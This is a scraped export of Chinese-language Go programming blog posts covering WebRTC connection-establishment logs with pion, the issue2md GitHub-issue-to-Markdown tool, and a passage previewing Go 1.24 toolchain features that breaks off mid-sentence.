0.0.0.0\\r\\na=setup:actpass\\r\\na=mid:0\\r\\na=sendrecv\\r\\na=sctp-port:5000\\r\\na=ice-ufrag:TYfjBFmqpgGEtKbh\\r\\na=ice-pwd:NGdAyXsOgVwFfzXnlLmNrcWrBgJWFceB\\r\\n\u0026#34;}} 其中”recv a offer msg”表示程序识别到收到了offer消息。而”offer := webrtc.SessionDescription{}”及后续代码则是处理offer，创建answer并发送回给另一个peer。\n在WebRTC中，信令服务器用于交换SDP（Session Description Protocol）信息，SDP描述了连接的媒体信息，如编解码器、IP 地址、端口等。先启动的peer创建房间，等待offer，后加入的peer发送offer后，等待answer的回复，双方通过信令服务器交换这些信息以建立连接。\n接下来，便是两端的ICE流程。\n3.2 ice Candidate Gathering、Candidate Priorization以及candidate的排序列表 下面一行日志表示开始收集ICE 候选者，这里是一个host类型的候选者：\n\u0026#34;2024/08/20 21:45:55 adding ICE candidate: {candidate:3384150427 1 udp 2130706431 206.189.166.16 52256 typ host 0xc000210230 0xc0002121fe \u0026lt;nil\u0026gt;}\u0026#34; 后续有多个类似的日志，分别添加不同类型的候选者，如 host、srflx（Server Reflexive）等：\n2024/08/20 21:45:55 adding ICE candidate: {candidate:604015337 1 udp 2130706431 10.46.0.5 38367 typ host 0xc000210260 0xc000212250 \u0026lt;nil\u0026gt;} 2024/08/20 21:45:55 adding ICE candidate: {candidate:3019421960 1 udp 2130706431 2604:a880:2:d0::2094:3001 48394 typ host 0xc000210290 0xc000212298 \u0026lt;nil\u0026gt;} 2024/08/20 21:45:55 adding ICE candidate: {candidate:2090009598 1 udp 2130706431 10.0.0.1 58895 typ host 0xc0002102d0 0xc0002122e0 \u0026lt;nil\u0026gt;} 2024/08/20 21:45:55 adding ICE candidate: {candidate:233762139 1 udp 2130706431 172.17.0.1 58343 typ host 0xc000210300 0xc000212328 \u0026lt;nil\u0026gt;} 2024/08/20 21:45:55 adding ICE candidate: {candidate:2943811937 1 udp 1694498815 2604:a880:2:d0::2094:3001 40480 typ srflx raddr :: rport 40480 0xc00038c070 0xc00038e050 \u0026lt;nil\u0026gt;} 2024/08/20 21:45:55 adding ICE candidate: {candidate:2614874796 1 udp 1694498815 206.189.166.16 38534 typ srflx raddr 0.0.0.0 rport 38534 0xc000210760 0xc000212b98 \u0026lt;nil\u0026gt;} 不过，在输出的日志中，我们看到并没有明确输出我们期待的经过 Candidate Priorization（候选者优先级排序）后的候选者排序列表。\n注：重温一下ICE（Interactive Connectivity Establishment），这是一种用于在两个peer之间建立连接的协议，通过收集各种类型的候选者（如 host 表示本机地址、srflx 表示通过 NAT 反射得到的地址等），增加连接成功的可能性。\n3.3 ice connectivity check的各个子阶段 子阶段1：输出每一端的角色 在ICE连接中，会确定一个controlling方和一个controlled方，用于决定连接的发起和响应顺序。 下面这行输出日志表示本端不是controlling方：\n\u0026#34;ice DEBUG: 21:45:55.401065 agent.go:395: Started agent: isControlling? false, remoteUfrag: \u0026#34;TYfjBFmqpgGEtKbh\u0026#34;, remotePwd: \u0026#34;NGdAyXsOgVwFfzXnlLmNrcWrBgJWFceB\u0026#34; 子阶段2：每端输出形成的检查列表(Forming checklist) 这个阶段日志中没有明确输出检查列表，但日志中有大量的“Ping STUN from… to…”表示正在进行连接检查，这些日志汇总在一起可以看成是形成的检查列表。例如：\nice TRACE: 21:45:55.401676 agent.go:999: Ping STUN from udp4 host 172.17.0.1:7115 to udp4 host 206.189.166.16:52256。 每一端都会通过发送STUN请求来检查不同候选者之间的连接性。\n子阶段3： 输出针对每个列表项的连接检查结果 日志中有很多类似的日志表示收到了来自特定候选者的成功响应：\n\u0026#34;ice TRACE: 21:45:55.563530 selection.go:229: Inbound STUN (SuccessResponse) from udp4 host 206.189.166.16:52256 to udp4 host 172.17.0.1:7115\u0026#34; 根据连接检查的结果，如果发现Peer Reflexive 候选，也会有相应的日志输出，比如：\nice DEBUG: 21:45:25.771665 agent.go:1147: Adding a new peer-reflexive candidate: 192.168.0.124:61194 ice DEBUG: 21:45:25.772355 agent.go:1147: Adding a new peer-reflexive candidate: 192.168.0.124:26408 ice DEBUG: 21:45:25.775320 agent.go:1147: Adding a new peer-reflexive candidate: 192.168.0.124:40491 ice DEBUG: 21:45:25.776894 agent.go:1147: Adding a new peer-reflexive candidate: 192.168.0.124:5767 ice DEBUG: 21:45:25.777018 agent.go:1147: Adding a new peer-reflexive candidate: 192.168.0.124:61432 ... ... 3.4 NAT穿透尝试并输出最终的最佳候选者对 日志中大量的”Ping STUN”和”Inbound STUN (SuccessResponse)”表示正在进行 NAT 穿透尝试。例如：\nice TRACE: 21:45:55.401676 agent.go:999: Ping STUN from udp4 host 172.17.0.1:7115 to udp4 host 206.189.166.16:52256 ice TRACE: 21:45:55.563530 selection.go:229: Inbound STUN (SuccessResponse) from udp4 host 206.189.166.16:52256 to udp4 host 172.17.0.1:7115 通过STUN请求和响应来确定是否能够穿透NAT，如果穿透失败，则将其标记为failed：\nice TRACE: 21:45:56.274839 agent.go:550: Maximum requests reached for pair prio 9151314440652587007 (local, prio 2130706431) udp4 host 172.18.0.1:59520 \u0026lt;-\u0026gt; udp4 host 10.0.0.1:58895 (remote, prio 2130706431), state: in-progress, nominated: false, nominateOnBindingSuccess: false, marking it as failed 如果能够成功穿透，则可以建立连接。下面的日志表示选出了最终的最佳候选者对：\nice TRACE: 21:45:56.656900 agent.go:524: Set selected candidate pair: prio 9151314440652587007 (local, prio 2130706431) udp4 host 192.168.10.1:60662 \u0026lt;-\u0026gt; udp4 host 206.189.166.16:52256 (remote, prio 2130706431), state: succeeded, nominated: true, nominateOnBindingSuccess: false ice TRACE: 21:45:56.823017 selection.go:239: Found valid candidate pair: prio 9151314440652587007 (local, prio 2130706431) udp4 host 192.168.10.1:60662 \u0026lt;-\u0026gt; udp4 host 206.189.166.16:52256 (remote, prio 2130706431), state: succeeded, nominated: true, nominateOnBindingSuccess: false 一旦确定了最佳候选者对，连接就算建立成功了！\n接下来，就是打开datachannel通道并进行数据传输了！\n3.5 data channel打开以及定时(5秒一次)的数据传输 下面日志表示数据通道已打开：\n\u0026#34;Data channel is open\u0026#34; 下面日志表示创建了一个名为“test”的数据通道：\n\u0026#34;New DataChannel test 824638605290\u0026#34; 下面日志表示数据通道打开成功：\n\u0026#34;Data channel \u0026#39;test\u0026#39;-\u0026#39;824638605290\u0026#39; open\u0026#34; 示例代码中，启动一个goroutine用于定时向data channel发送数据，当出现下面日志时，表示接收到来自另一个 peer 的数据：\n\u0026#34;Message from DataChannel \u0026#39;test\u0026#39;: \u0026#39;Hello from room_6\u0026#39;\u0026#34; 4. 小结 在这篇文章中，我通过使用Go语言开源项目pion/webrtc实现的webrtc端侧应用，为大家详细展示了WebRTC应用的建连过程。\n首先，我实现了一个基于WebSocket的简易信令服务器。这个信令服务器基于Room抽象模型，使用全局变量来管理房间和连接，并进行消息广播。\n接下来，我介绍了端侧WebRTC应用的实现。这个应用通过与信令服务器通信，创建RTCPeerConnection，处理ICE候选、offer和answer，以及实现数据通道功能。我还通过设置TRACE日志级别，展示了详细的建连流程。\n之后，我在实验环境的实际执行了上述程序，并通过对日志的分析展示了建连过程。这些分析涵盖了信令服务连接和SDP交互、ICE候选收集与优先级排序、ICE 连通性检查各子阶段、NAT穿透尝试及最佳候选者对确定，以及数据通道打开和数据传输。希望这样的分析可以帮助大家更深刻的理解和体会建连过程。\nWebRTC网络结构和建连就先讲到这里，后面的系列文章中，我们会开始聚焦WebRTC技术栈的另外一个主要方面：音视频质量，包括编码器以及媒体流处理等。\n本文涉及的Go源码在这里可以下载到 – https://github.com/bigwhite/experiments/blob/master/webrtc-first-lesson/part2\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/12/26/exploring-the-connection-establish-process-of-webrtc-app-built-with-pion/","summary":"\u003cp\u003e\u003cimg alt=\"Image 29\" loading=\"lazy\" src=\"/images/wp-content/uploads/exploring-the-connection-establish-process-of-webrtc-app-built-with-pion-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/12/26/exploring-the-connection-establish-process-of-webrtc-app-built-with-pion\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/12/26/exploring-the-connection-establish-process-of-webrtc-app-built-with-pion\"\u003ehttps://tonybai.com/2024/12/26/exploring-the-connection-establish-process-of-webrtc-app-built-with-pion\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在《\u003ca href=\"https://tonybai.com/2024/12/14/webrtc-first-lesson-how-connection-estabish/\"\u003eWebRTC第一课：从信令、ICE到NAT穿透的连接建立全流程\u003c/a\u003e》一文中，我们从理论层面全面细致地了解了WebRTC连接建立的完整流程。这个流程大致可以分为以下几个阶段：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e与信令服务器的交互\u003c/li\u003e\n\u003cli\u003eICE候选项的采集、交换与排序\u003c/li\u003e\n\u003cli\u003e形成ICE候选检查表、进行连通性检查，并最终确定最优候选路径\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e这个过程的复杂性不言而喻。即便多次阅读全文，读者可能仍难以形成深入的理解。因此，如果能够配上一个真实的示例，相信会更有助于读者全面把握这一过程的细节和原理。\u003c/p\u003e","title":"探索基于pion开发的WebRTC应用的建连过程"},{"content":"使用issue2md将Github issue转换为Markdown | Tony Bai Tony Bai一个程序员的心路历程\nGoogle Go语言编码风格规范 Google Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ 关于我 文章列表 使用issue2md将Github issue转换为Markdown 十二月 23, 2024 0 条评论 本文永久链接 – https://tonybai.com/2024/12/23/convert-github-issue-to-markdown-with-issue2md\n到2024年底，不论你是否承认，AI时代都已经到来！近两个月，三大顶级商业AI模型巨头：Claude Sonnet 3.5、Google Gemini 2.0 Flash Experimental以及ChatGPT o3你方唱罢我登场，好不热闹！\n作为走在AI应用前沿的程序员，利用AI辅助自己提高学习和工作实践的效率都是必不可少的。在使用AI的过程中，我们经常需要向其提供一些文档资料，对于文字资料，AI更偏爱TXT、Markdown、PDF等格式的文件。部署在Vercel上的MarkdownDown支持输入网页URL并将其转换为Markdown，而微软开源的MarkItdown则能将多种格式(pdf、ppt、word、html、zip等)转换为Markdown。这些工具在实践中帮助我们实现对AI的快速“投喂”。\n然而，一些资料，如GitHub Issues，尚不能通过上述工具方便地转换为干净的、无额外干扰内容的Markdown或其他适合投喂给AI的格式。受到MarkdownDown的启发，我思考是否可以将GitHub Issues转换为Markdown，最终促成了issue2md这个想法。该工具旨在简化GitHub Issues与Markdown之间的转换过程，使得开发者可以更高效地利用AI理解Github issue中的内容，包括用户讨论中的一些观点和想法。\n三个月前，我利用AI完成了issue2md这个小工具，我自己甚至没有写下一行代码。我仅仅对其提出一个小小的要求，那就是不要依赖任何第三方包，仅可以依赖Go标准库。在这三个月中，该工具给了我很大的帮助，将由它生成的Github Issue对应的Markdown文档投喂给AI后，可以让我快速理解Github issue的要点，尤其是那些历经几年讨论，积累了数百条comment的issue！\n这里我将issue2md放到github上供大家下载使用，也希望能给大家带去相同的帮助。\n下面简单介绍一下issue2md的用法。\nissue2md项目有两个工具，或者说两种使用模式，一种是命令行模式，使用issue2md这个命令行工具。另外一种则是Web模式，使用issue2mdweb这个工具。\n如果你喜欢命令行模式，那么你只需要使用下面命令安装issue2md即可：\n$go install github.com/bigwhite/issue2md/cmd/issue2md@latest issue2md cli程序的使用方法非常简单：\nUsage: issue2md issue-url [markdown-file] Arguments: issue-url The URL of the GitHub issue to convert. markdown-file (optional) The output markdown file. 它的第一个参数是github issue的URL。以Go 1.24版本json包增加对omitzero的支持的issue为例，它的url是https://github.com/golang/go/issues/45669，我们原封不动的将其作为issue2md的第一个参数执行：\n$issue2md https://github.com/golang/go/issues/45669 Issue and comments saved as Markdown in file golang_go_issue_45669.md issue2md cli默认会生成一个命名格式如下的文件：\n{owner}_{repo}_issue_number.md 其内容使用markdown编辑器打开并渲染后将呈现如下的效果：\n当然你也可以通过传入第二个命令行参数，作为最终生成的markdown的文件名！\n如果你不喜欢命令行模式，你可以使用issue2mdweb提供的Web模式。最简单的启动一个issue2mdweb服务的方法就是利用我发布到Docker hub上的issue2md的公共镜像，你可以像下面这样在本地或你的私有云里运行一个issue2mdweb服务：\n$docker run -d -p 8080:8080 bigwhite/issue2mdweb 然后用你的浏览器打开http://{host}:8080这个地址，你将看到如下的页面：\n在中间的文本框中输入你要转换的Github issue地址，比如前面的https://github.com/golang/go/issues/45669，点击“Convert”，你的浏览器就会自动将转换后的Markdown文件下载到你的本地，文件命名和issue2md cli的默认命名格式一致！\n如果你不想使用Docker运行，你可以自行下载issue2md代码并编译，也可以使用scripts中的命令将issue2mdweb安装为一个Systemd unit服务！\n这里要注意的是，issue2md使用了Go标准口实现了对Github API的访问且没有使用任何账号信息，它仅适合将Public仓库的issue转换为Markdown，并且由于Github对API调用的限速，你在使用issue2md时不能过于频繁！此外，你若发现issue2md的bug或者你有什么新的想法，欢迎在issue2md仓库中提出你宝贵的issue。\n最后打个“广告”，根据极客时间的专栏推广计划，我在春节前会为“Go语言第一课”专栏续写五篇文章，其中的第一篇“Go测试的5个使用建议”已经上线。\n无论你是“Go语言第一课”的学员，还是首次听说这门专栏的小伙伴，我都欢迎你阅读这些文章，希望这些专栏文章能你带去新的收获！也欢迎你将阅读后的感受在评论区分享出来！\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/12/23/convert-github-issue-to-markdown-with-issue2md/","summary":"\u003ch1 id=\"使用issue2md将github-issue转换为markdown--tony-bai\"\u003e使用issue2md将Github issue转换为Markdown | Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/about/\" title=\"关于我\"\u003e关于我\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/articles/\" title=\"文章列表\"\u003e文章列表\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"使用issue2md将github-issue转换为markdown\"\u003e使用issue2md将Github issue转换为Markdown\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e十二月 23, 2024\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/2024/12/23/convert-github-issue-to-markdown-with-issue2md/#respond\" title=\"《使用issue2md将Github issue转换为Markdown》上的评论\"\u003e0 条评论\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Image 31\" loading=\"lazy\" src=\"/images/wp-content/uploads/convert-github-issue-to-markdown-with-issue2md-1.png\"\u003e\u003c/p\u003e","title":"使用issue2md将Github issue转换为Markdown"},{"content":"\n本文永久链接 – https://tonybai.com/2024/12/17/go-1-24-foresight-part2\n在上一篇文章中，我们介绍了即将于2025年2月发布的Go 1.24版本在语法、编译器和运行时方面的主要变化。本文将继续承接上文，重点介绍Go 1.24在工具链和标准库方面的重要更新，供大家参考。\n1. 工具链 1.1 go.mod新增tool指示符，支持对tool的依赖管理(#48429) 我们日常编写Go项目代码时常常会依赖一些使用Go编写的工具，比如golang.org/x/tools/cmd/stringer或github.com/kyleconroy/sqlc。我们希望所有项目合作者都使用相同版本的工具，以避免在不同时间、不同环境中的输出不同的结果。因此，Go社区希望通过go.mod将工具的版本以及依赖管理起来。\n在Go 1.24版本之前，Go Wiki推荐tools.go的一种来自社区的最佳实践，阐述这种实践的最好的一个示例来自Go modules by example中的一个文档：”Tools as dependencies“，其大致思路是将项目依赖的Go工具以“项目依赖”的方式存放到tools.go文件(放到go module根目录下)中，以golang.org/x/tools/cmd/stringer为例，tools.go的内容大致如下：\n//go:build tools package tools import ( _ \u0026#34;golang.org/x/tools/cmd/stringer\u0026#34; ) 然后在同一目录下安装stringer或直接go run：\n$go install golang.org/x/tools/cmd/stringer 在安装stringer时，go.mod会记录下对stringer的依赖以及对应的版本，后续go.mod提交到项目repo中，所有项目成员就都可以使用相同版本的Stringer了。\ntools.go实践虽然能解决问题，但这种方式还是存在一些不便：\n配置繁琐：需要手动创建 tools.go 文件，并添加特定的构建标签来排除它； 使用不便：运行工具时可能需要额外的脚本或配置(每次手敲go run golang.org/x/tools/cmd/stringer的确有些不便)。 Go开发者期望工具依赖也能够无缝地与其他项目依赖(包依赖)统一管理，并纳入go.mod的版本控制体系。\n为此，该提案设计并实现了下面几点以满足开发者的上述述求：\ngo.mod引入tool directive，用于显式声明项目所需的工具。 tool directive与其他依赖项统一纳入go.mod文件，方便管理和版本控制。 扩展go install和go get命令，支持安装、更新和卸载工具。 我们来看一个示例，首先我们初始化一个module：\n$ gotip mod init demo go: creating new go.mod: module demo $ cat go.mod module demo go 1.24 编辑go.mod，加入下面内容：\n$ cat go.mod module demo go 1.24 tool golang.org/x/tools/cmd/stringer 安装tool前需要go get它的依赖，否则go install会报错：\n$gotip install tool no required module provides package golang.org/x/tools/cmd/stringer; to add it: go get golang.org/x/tools/cmd/stringer $gotip get golang.org/x/tools/cmd/stringer go: downloading golang.org/x/tools v0.28.0 go: downloading golang.org/x/sync v0.10.0 go: downloading golang.org/x/mod v0.22.0 go: added golang.org/x/mod v0.22.0 go: added golang.org/x/sync v0.10.0 go: added golang.org/x/tools v0.28.0 $ cat go.mod module demo go 1.24 tool golang.org/x/tools/cmd/stringer require ( golang.org/x/mod v0.22.0 // indirect golang.org/x/sync v0.10.0 // indirect golang.org/x/tools v0.28.0 // indirect ) 我们看到：go.mod中require了stringer的依赖。\n接下来，我们便可以用go install安装stringer了：\n$ ls -l `which stringer` // old版本的stringer -rwxr-xr-x 1 root root 6500561 1月 23 2024 /root/go/bin/stringer $ gotip install tool $ ls -l `which stringer` -rwxr-xr-x 1 root root 7303970 12月 9 21:41 /root/go/bin/stringer 后续要更新stringer版本，可以直接使用go get -u：\n$gotip get -u golang.org/x/tools/cmd/stringer 此外，除了手工编辑go.mod，添加依赖的tool外，我们也可以直接使用go get -tool像go.mod中添加依赖的tool，它们在效果上是等价的：\n// 重置go.mod到最初状态 # cat go.mod module demo go 1.24 // 执行go get -tool $gotip get -tool golang.org/x/tools/cmd/stringer go: added golang.org/x/mod v0.22.0 go: added golang.org/x/sync v0.10.0 go: added golang.org/x/tools v0.28.0 $ cat go.mod module demo go 1.24 tool golang.org/x/tools/cmd/stringer require ( golang.org/x/mod v0.22.0 // indirect golang.org/x/sync v0.10.0 // indirect golang.org/x/tools v0.28.0 // indirect ) 使用stringer时也无需手工敲入那么长的命令(go run golang.org/x/tools/cmd/stringer)，只需使用gotip tool stringer即可：\n$ gotip tool stringer Usage of stringer: stringer [flags] -type T [directory] stringer [flags] -type T files... # Must be a single package For more information, see: https://pkg.go.dev/golang.org/x/tools/cmd/stringer Flags: -linecomment use line comment text as printed text when present -output string output file name; default srcdir/\u0026lt;type\u0026gt;_string.go -tags string comma-separated list of build tags to apply -trimprefix prefix trim the prefix from the generated constant names -type string comma-separated list of type names; must be set go tool stringer就相当于go run golang.org/x/tools/cmd/stringer@v0.28.0了(注：v0.28.0是当前golang.org/x/tools的版本)。\ntool directive和go工具链做了很好的融合，除了上面的命令外，还支持：\ngo build tool构建module依赖的tool，并将构建出可执行文件放在当前目录下； go build -o bin/ tool将构建module依赖的tool，并将构建出可执行文件放在项目自己的bin目录下。 到这里，屏幕前的你可能会问一个问题：如果本地多个项目依赖同一个工具的不同版本，比如golangci-lint的v1.62.2和v1.62.0时，那么两个项目安装的golangci-lint是否会相互覆盖和影响呢？我们来验证一下，下面建立两个项目：tool-directive1和tool-directive2。\n. ├── tool-directive1/ │ ├── go.mod │ └── go.sum └── tool-directive2/ ├── go.mod └── go.sum 我们先在tool-directive1下面执行下面命令添加对golangci-lint的依赖：\n$gotip get -tool github.com/golangci/golangci-lint/cmd/golangci-lint go: downloading github.com/golangci/golangci-lint v1.62.2 go: downloading github.com/gofrs/flock v0.12.1 go: downloading github.com/fatih/color v1.18.0 ... ... 然后在同一个目录下，使用gotip tool golangci-lint执行该工具，查看其版本：\n$ gotip tool golangci-lint --version golangci-lint has version v1.62.2 built with devel go1.24-c8fb6ae6 Sun Dec 8 15:34:47 2024 +0000 from (unknown, modified: ?, mod sum: \u0026#34;h1:b8K5K9PN+rZN1+mKLtsZHz2XXS9aYKzQ9i25x3Qnxxw=\u0026#34;) on (unknown) 我们看到tool-directive1依赖了v1.62.2版本的golangci-lint。不过你在执行上述命令时可能会注意到，这个命令的执行非常耗时，可能需要10~20s才能出结果。如果你再执行一次，它就可以瞬间输出结果，为什么会这样的？稍后我们给出答案。\n现在我们切换到tool-directive2目录下，执行下面命令添加对golangci-lint v1.62.0版本的依赖：\n$gotip get -tool github.com/golangci/golangci-lint/cmd/golangci-lint@v1.62.0 然后在同一个目录下，使用gotip tool golangci-lint执行该工具，查看其版本：\n$gotip tool golangci-lint --version golangci-lint has version v1.62.0 built with devel go1.24-c8fb6ae6 Sun Dec 8 15:34:47 2024 +0000 from (unknown, modified: ?, mod sum: \u0026#34;h1:/G0g+bi1BhmGJqLdNQkKBWjcim8HjOPc4tsKuHDOhcI=\u0026#34;) on (unknown) 我们看到tool-directive2下得到的是v1.62.0版本的golangci-lint。并且我们会遇到同样的现象：第一次执行很慢，第二次执行就会瞬间出结果。\n再回到tool-directive1下，看看它依赖的golangci-lint是否被覆盖了：\n$gotip tool golangci-lint --version golangci-lint has version v1.62.2 built with devel go1.24-c8fb6ae6 Sun Dec 8 15:34:47 2024 +0000 from (unknown, modified: ?, mod sum: \u0026#34;h1:b8K5K9PN+rZN1+mKLtsZHz2XXS9aYKzQ9i25x3Qnxxw=\u0026#34;) on (unknown) 我们发现：两个项目下依赖的版本各自独立，并不会相互覆盖。\n这其中的缘由又是什么呢？为什么使用go tool golangci-lint第一次执行会慢，而后续的执行就会飞快呢？下面的issue将回答这个问题。\n1.2 Go run生成的可执行文件支持缓存(#69290) Go 1.24 之前，cmd/go仅缓存编译后的包文件（build actions），而不缓存链接后的二进制文件（link actions）。不缓存二进制文件很大原因在于二进制文件比单个包对象文件大得多，并且它们不像包文件那样被经常重用。\n不过上述1.1中，让go支持对依赖工具的管理以及让go tool支持自定义工具执行的issue让这个issue最终被纳入Go 1.24。该issue实现后，go run以及像上面那种go tool golangci-lint(本质上也是go run github.com/golangci/golangci-lint/cmd/golangci-lint@vx.y.z)的编译链接的结果会被缓存到go build cache中。这也是上面不同项目依赖同一工具不同版本时不会相互覆盖以及首次使用go tool执行依赖工具较慢的原因，第一次go tool执行会执行编译链接过程，之后的运行就会从缓存中直接找到缓存的文件并执行了。\n由于这个issue会显著增大go build cache的磁盘空间占用，该issue也规定了，在缓存执行定期清理的时候，可执行文件缓存会优先于包缓存被优先清理掉。\n1.3 Go build支持生成伪版本号(#50603) 在Go 1.18及之后的版本中，cmd/go工具链在构建二进制文件时会嵌入依赖版本信息和VCS（版本控制系统）信息，这使得开发者可以更容易地追踪二进制文件的来源。然而，当使用go build命令构建主模块时，主模块的版本信息并不会被记录，而是显示为(devel)，这导致开发者需要使用外部构建脚本或-ldflags来手动设置版本信息。相比之下，go install命令会正确记录主模块的版本信息。\n该issue就旨在让go build命令也能像go install一样，自动嵌入主模块的版本信息，从而避免开发者依赖外部构建脚本。\n落地后，Go 1.24的go build命令会在编译后的二进制文件中包含版本信息。如果本地VCS（版本控制系统）标签可用，主模块的版本将从该标签中设置。如果没有本地VCS标签可用，则会生成一个伪版本（pseudo-version），通常包含时间戳和提交哈希。 此外，为了避免与已发布的版本混淆，go build还会在伪版本中添加一些特殊的标识符，例如devel，以表明这是一个本地构建的版本。如果有未提交的VCS更改，则会附加一个+dirty后缀。\n使用-buildvcs=false标志可以省略二进制文件中的版本控制信息。\n下面对比一下Go 1.24版本之前与Go 1.24版本在go build时生成的版本信息的差异：\n以Go 1.23为例，其构建和安装的stringer的版本信息如下：\n$go version -m `which stringer` /root/go/bin/stringer: go1.23.0 ... ... 而使用go1.24的build构建的stringer的版本信息如下：\n$go version -m tool-directive1/bin/stringer tool-directive1/bin/stringer: devel go1.24-c8fb6ae6 Sun Dec 8 15:34:47 2024 +0000 ... ... 1.4 默认使能GOCACHEPROG以支持外部缓存 估计Go社区很少有人用过GOCACHEPROG，即便在Go 1.21版本之后，它是以实验特性的形式提供的，通过GOEXPERIMENT=cacheprog启用。这个特性是由Go语言元老Brad Fitzpatrick提出的，其主issue编号是59719。\n我们知道：Go语言的cmd/go工具已经具备了强大的缓存支持，但其缓存机制仅限于基于文件系统的缓存。这种缓存方式在某些场景下效率不高，尤其是在CI（持续集成）环境中，用户通常需要将GOCACHE目录打包和解压缩，这往往比CI操作本身还要慢。此外，用户可能希望利用位于网络上的共享缓存(比如S3)或公司内部的P2P缓存协议来提高缓存效率，但这些功能并不适合直接集成到cmd/go工具中。\n为了解决上述问题，Brad Fitzpatrick提出了一个新的环境变量GOCACHEPROG，类似于现有的GOCACHE变量。通过设置GOCACHEPROG，用户可以指定一个外部程序，该程序将作为子进程运行，并通过标准输入/输出来与cmd/go工具进行通信。cmd/go工具将通过这个接口与外部缓存程序交互，外部程序可以根据需要实现任意的缓存机制和策略。\n为此，Bradfitz在issue 59719中给出了交互的协议设计。cmd/go工具与外部缓存程序之间的通信基于JSON格式的消息。消息分为请求（ProgRequest）和响应（ProgResponse）。请求包括命令类型、操作ID（ActionID）、对象ID（ObjectID）等。响应则包括缓存命中与否、对象的磁盘路径等信息。\n其中请求的命令类型有如下几种：\nget：从缓存中获取对象。 put：将对象存入缓存。 close：关闭缓存连接。 对于put请求，cmd/go工具会将对象的二进制数据通过base64编码后发送给外部程序。对于get请求，外部程序返回对象的磁盘路径。\n在\\$GOROOT/src/cmd/go/internal/cache/prog.go文件中可以看到具体协议相关的结构。\nBradfitz还给出了一个外部cache的样例程序go-tool-cache，还有开发者fork了该样例程序，将它改造为以S3为后端cache的外部缓存程序。感兴趣的童鞋，可以按照这些样例程序的说明试验一下外部缓存功能。\n1.5 go工具链支持HTTP扩展认证：GOAUTH(#26232) 在Go语言中，go get命令用于从远程代码仓库获取依赖包。通常，这些依赖包的导入路径是通过HTTP请求获取的，服务器会返回一个包含元标签（meta tag）的HTML页面，指示如何获取该包的源代码。然而，对于需要身份验证的私有仓库，go 